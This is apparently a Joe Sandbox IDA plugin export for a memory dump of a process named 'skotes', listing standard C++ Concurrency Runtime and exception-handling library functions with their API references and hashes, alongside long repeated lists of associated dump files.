Source File: 00000006.00000002.3272314295.0000000000B81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000006.00000002.3272216987.0000000000B80000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272314295.0000000000BE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272564587.0000000000BE9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272633911.0000000000BEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272723837.0000000000BF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272800249.0000000000BF6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272889252.0000000000BF7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273286563.0000000000D52000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273336495.0000000000D55000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273403481.0000000000D6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273475479.0000000000D6E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273530611.0000000000D6F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273530611.0000000000D7B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273650659.0000000000D80000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273715351.0000000000D81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273779761.0000000000D82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273845116.0000000000D84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273932048.0000000000D8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274015672.0000000000D95000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274136316.0000000000DAE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274232887.0000000000DBF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274311348.0000000000DD5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274387493.0000000000DDD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274456849.0000000000DDE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274524646.0000000000DE3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274580270.0000000000DEB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274634906.0000000000DF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274698170.0000000000DF1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274759398.0000000000DF4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274837924.0000000000DFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274905763.0000000000DFD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274975914.0000000000E09000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275046138.0000000000E0A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275101670.0000000000E0B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275171851.0000000000E0F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275240923.0000000000E10000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275308043.0000000000E15000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275365436.0000000000E1D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275416595.0000000000E20000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275496281.0000000000E3D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275562223.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275562223.0000000000E5E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683394.0000000000E8C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275736023.0000000000E8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275798877.0000000000E8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275856918.0000000000E93000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275948191.0000000000E95000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276033032.0000000000EA3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276099662.0000000000EA4000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Manager::Resource$Affinity$Apply$Restrictions$InformationTopology$Restriction::$CleanupFindGroupLimits
String ID:
API String ID: 1321587334-0
Opcode ID: 806d9f62c88b06f08a6b19fdf30d3e87420ab64248ceb4622ab9c7903c99d53c
Instruction ID: c29cedfa1c672915a8dde69a7aa5398d1288e2c8e066d01cdd71ede5dd877c87
Opcode Fuzzy Hash: 806d9f62c88b06f08a6b19fdf30d3e87420ab64248ceb4622ab9c7903c99d53c
Instruction Fuzzy Hash: D081BF31A0865A9FCB28DFACD8D15AEB7F1FF4A304B6440ADE445EB250DB34AD45CB90

Function 00BA69DA Relevance: 15.1, APIs: 10, Instructions: 144COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 00BA6A1F
Concurrency::details::SchedulingRing::FindScheduleGroupSegment.LIBCMT ref: 00BA6A51
List.LIBCONCRT ref: 00BA6A8C
Concurrency::details::SchedulingRing::GetNextScheduleGroupSegment.LIBCMT ref: 00BA6A9D
Concurrency::details::SchedulingRing::FindScheduleGroupSegment.LIBCMT ref: 00BA6AB9
List.LIBCONCRT ref: 00BA6AF4
Concurrency::details::SchedulingRing::GetNextScheduleGroupSegment.LIBCMT ref: 00BA6B05
Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 00BA6B20
List.LIBCONCRT ref: 00BA6B5B
Concurrency::details::SchedulingNode::GetNextVirtualProcessor.LIBCMT ref: 00BA6B68

Part of subcall function 00BA5EDF: Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 00BA5EF7
Part of subcall function 00BA5EDF: Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 00BA5F09

Memory Dump Source

Source File: 00000006.00000002.3272314295.0000000000B81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000006.00000002.3272216987.0000000000B80000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272314295.0000000000BE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272564587.0000000000BE9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272633911.0000000000BEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272723837.0000000000BF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272800249.0000000000BF6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272889252.0000000000BF7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273286563.0000000000D52000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273336495.0000000000D55000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273403481.0000000000D6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273475479.0000000000D6E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273530611.0000000000D6F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273530611.0000000000D7B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273650659.0000000000D80000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273715351.0000000000D81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273779761.0000000000D82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273845116.0000000000D84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273932048.0000000000D8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274015672.0000000000D95000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274136316.0000000000DAE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274232887.0000000000DBF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274311348.0000000000DD5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274387493.0000000000DDD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274456849.0000000000DDE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274524646.0000000000DE3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274580270.0000000000DEB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274634906.0000000000DF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274698170.0000000000DF1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274759398.0000000000DF4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274837924.0000000000DFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274905763.0000000000DFD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274975914.0000000000E09000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275046138.0000000000E0A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275101670.0000000000E0B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275171851.0000000000E0F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275240923.0000000000E10000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275308043.0000000000E15000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275365436.0000000000E1D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275416595.0000000000E20000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275496281.0000000000E3D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275562223.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275562223.0000000000E5E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683394.0000000000E8C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275736023.0000000000E8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275798877.0000000000E8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275856918.0000000000E93000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275948191.0000000000E95000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276033032.0000000000EA3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276099662.0000000000EA4000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Scheduling$Find$GroupNode::ProcessorRing::ScheduleSegmentVirtual$ListNext$AcquireConcurrency::details::_Lock::_ReaderWriteWriter
String ID:
API String ID: 3403738998-0
Opcode ID: 49fcf71f40cdee32d76cff0cfec7904b1821ee1dee631ce0987f33fef910e908
Instruction ID: f4d6ab2bf75dd94e450c9b31e1e3313aa7622d3d57b033e0080bf123f6b6c094
Opcode Fuzzy Hash: 49fcf71f40cdee32d76cff0cfec7904b1821ee1dee631ce0987f33fef910e908
Instruction Fuzzy Hash: 495151B1A04209ABDF18DF64C495BEDB3E8FF49304F4540A9E915EB281DB74AE45CBA0

Function 00BB52A5 Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 308COMMONLIBRARYCODE

Download Yara Rule

APIs

IsInExceptionSpec.LIBVCRUNTIME ref: 00BB53A0
type_info::operator==.LIBVCRUNTIME ref: 00BB53C7
___TypeMatch.LIBVCRUNTIME ref: 00BB54D3
IsInExceptionSpec.LIBVCRUNTIME ref: 00BB55AE
CallUnexpected.LIBVCRUNTIME ref: 00BB5650

Strings

csm, xrefs: 00BB52E0
csm, xrefs: 00BB53FE
csm, xrefs: 00BB534D

Memory Dump Source

Source File: 00000006.00000002.3272314295.0000000000B81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000006.00000002.3272216987.0000000000B80000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272314295.0000000000BE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272564587.0000000000BE9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272633911.0000000000BEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272723837.0000000000BF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272800249.0000000000BF6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272889252.0000000000BF7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273286563.0000000000D52000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273336495.0000000000D55000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273403481.0000000000D6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273475479.0000000000D6E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273530611.0000000000D6F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273530611.0000000000D7B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273650659.0000000000D80000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273715351.0000000000D81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273779761.0000000000D82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273845116.0000000000D84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273932048.0000000000D8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274015672.0000000000D95000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274136316.0000000000DAE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274232887.0000000000DBF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274311348.0000000000DD5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274387493.0000000000DDD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274456849.0000000000DDE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274524646.0000000000DE3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274580270.0000000000DEB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274634906.0000000000DF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274698170.0000000000DF1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274759398.0000000000DF4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274837924.0000000000DFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274905763.0000000000DFD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274975914.0000000000E09000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275046138.0000000000E0A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275101670.0000000000E0B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275171851.0000000000E0F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275240923.0000000000E10000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275308043.0000000000E15000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275365436.0000000000E1D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275416595.0000000000E20000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275496281.0000000000E3D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275562223.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275562223.0000000000E5E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683394.0000000000E8C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275736023.0000000000E8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275798877.0000000000E8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275856918.0000000000E93000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275948191.0000000000E95000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276033032.0000000000EA3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276099662.0000000000EA4000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: ExceptionSpec$CallMatchTypeUnexpectedtype_info::operator==
String ID: csm$csm$csm
API String ID: 4162181273-393685449
Opcode ID: fceee1d243b429662645179417c0468a77e75643e5f0222b4a3e13771c0eaac3
Instruction ID: 390fcc9acef3c58ba1050388d12d1cf604dbcf80c4838df105c5e3f483a11682
Opcode Fuzzy Hash: fceee1d243b429662645179417c0468a77e75643e5f0222b4a3e13771c0eaac3
Instruction Fuzzy Hash: 8DC15771900A09AFCF35DFA4D880AFEBBF5FF14311B14419AE8066B212D7B1DA51CB92

Function 00BA7364 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 80COMMON

Download Yara Rule

APIs

Concurrency::details::SchedulingNode::FindMatchingVirtualProcessor.LIBCONCRT ref: 00BA73B0
Concurrency::details::SchedulingNode::FindMatchingVirtualProcessor.LIBCONCRT ref: 00BA73F2
Concurrency::details::InternalContextBase::GetAndResetOversubscribedVProc.LIBCMT ref: 00BA740E
Concurrency::details::VirtualProcessor::MarkForRetirement.LIBCONCRT ref: 00BA7419
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00BA7440

Strings

count, xrefs: 00BA737E
ppVirtualProcessorRoots, xrefs: 00BA7438

Memory Dump Source

Source File: 00000006.00000002.3272314295.0000000000B81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000006.00000002.3272216987.0000000000B80000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272314295.0000000000BE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272564587.0000000000BE9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272633911.0000000000BEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272723837.0000000000BF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272800249.0000000000BF6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272889252.0000000000BF7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273286563.0000000000D52000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273336495.0000000000D55000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273403481.0000000000D6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273475479.0000000000D6E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273530611.0000000000D6F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273530611.0000000000D7B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273650659.0000000000D80000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273715351.0000000000D81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273779761.0000000000D82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273845116.0000000000D84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273932048.0000000000D8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274015672.0000000000D95000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274136316.0000000000DAE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274232887.0000000000DBF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274311348.0000000000DD5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274387493.0000000000DDD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274456849.0000000000DDE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274524646.0000000000DE3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274580270.0000000000DEB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274634906.0000000000DF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274698170.0000000000DF1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274759398.0000000000DF4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274837924.0000000000DFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274905763.0000000000DFD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274975914.0000000000E09000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275046138.0000000000E0A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275101670.0000000000E0B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275171851.0000000000E0F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275240923.0000000000E10000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275308043.0000000000E15000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275365436.0000000000E1D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275416595.0000000000E20000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275496281.0000000000E3D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275562223.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275562223.0000000000E5E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683394.0000000000E8C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275736023.0000000000E8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275798877.0000000000E8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275856918.0000000000E93000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275948191.0000000000E95000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276033032.0000000000EA3000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276099662.0000000000EA4000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b80000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Virtual$FindMatchingNode::ProcessorScheduling$Base::ContextInternalMarkOversubscribedProcProcessor::ResetRetirementstd::invalid_argument::invalid_argument
String ID: count$ppVirtualProcessorRoots
API String ID: 3897347962-3650809737
Opcode ID: 4908a7aa18ab399f986399947b3330c91fd5cbe07d32c5ffde024859f7e08d75
Instruction ID: 57e1291a093c18a5b0165780c6289a5e2f3be49daf31233f762b2de424a0e2f4
Opcode Fuzzy Hash: 4908a7aa18ab399f986399947b3330c91fd5cbe07d32c5ffde024859f7e08d75
Instruction Fuzzy Hash: 9F213034A48209AFCF14EF58C895AADBBF5EF0A350F1440E9E805A7351DF30AD05CB94

Function 00BA78E1 Relevance: 12.1, APIs: 8, Instructions: 106timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulerBase::GetInternalContext.LIBCONCRT ref: 00BA7903

Part of subcall function 00BA5CB8: __EH_prolog3_catch.LIBCMT ref: 00BA5CBF
Part of subcall function 00BA5CB8: Concurrency::details::SchedulerBase::ThrottlingTime.LIBCMT ref: 00BA5CF8

Concurrency::details::SchedulerBase::ThrottlingTime.LIBCMT ref: 00BA792A
Concurrency::details::SchedulerBase::GetInternalContext.LIBCONCRT ref: 00BA7936

Part of subcall function 00BA5CB8: Concurrency::details::SchedulerBase::AddContext.LIBCONCRT ref: 00BA5D70
Part of subcall function 00BA5CB8: Concurrency::details::InternalContextBase::SpinUntilBlocked.LIBCMT ref: 00BA5D7E

Concurrency::details::SchedulerBase::GetNextSchedulingRing.LIBCMT ref: 00BA7982
Concurrency::location::_Assign.LIBCMT ref: 00BA79A3
Concurrency::details::SchedulerBase::StartupVirtualProcessor.LIBCONCRT ref: 00BA79AB
Concurrency::details::SchedulerBase::ThrottlingTime.LIBCMT ref: 00BA79BD
Concurrency::details::SchedulerBase::ChangeThrottlingTimer.LIBCONCRT ref: 00BA79ED

Part of subcall function 00BA691D: Concurrency::details::SchedulerBase::FoundAvailableVirtualProcessor.LIBCONCRT ref: 00BA6942
Part of subcall function 00BA691D: Concurrency::details::VirtualProcessor::ClaimTicket::ExerciseWith.LIBCMT ref: 00BA6965

Memory Dump Source

Source File: 00000006.00000002.3272314295.0000000000B81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00B80000, based on PE: true

Associated: 00000006.00000002.3272216987.0000000000B80000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272314295.0000000000BE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272564587.0000000000BE9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272633911.0000000000BEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272723837.0000000000BF5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272800249.0000000000BF6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272889252.0000000000BF7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273286563.0000000000D52000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273336495.0000000000D55000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273403481.0000000000D6D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273475479.0000000000D6E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273530611.0000000000D6F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273530611.0000000000D7B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273650659.0000000000D80000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273715351.0000000000D81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273779761.0000000000D82000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273845116.0000000000D84000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273932048.0000000000D8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274015672.0000000000D95000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274136316.0000000000DAE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274232887.0000000000DBF000.00000040.00000001.01000000.00000008.sdmpDownload File
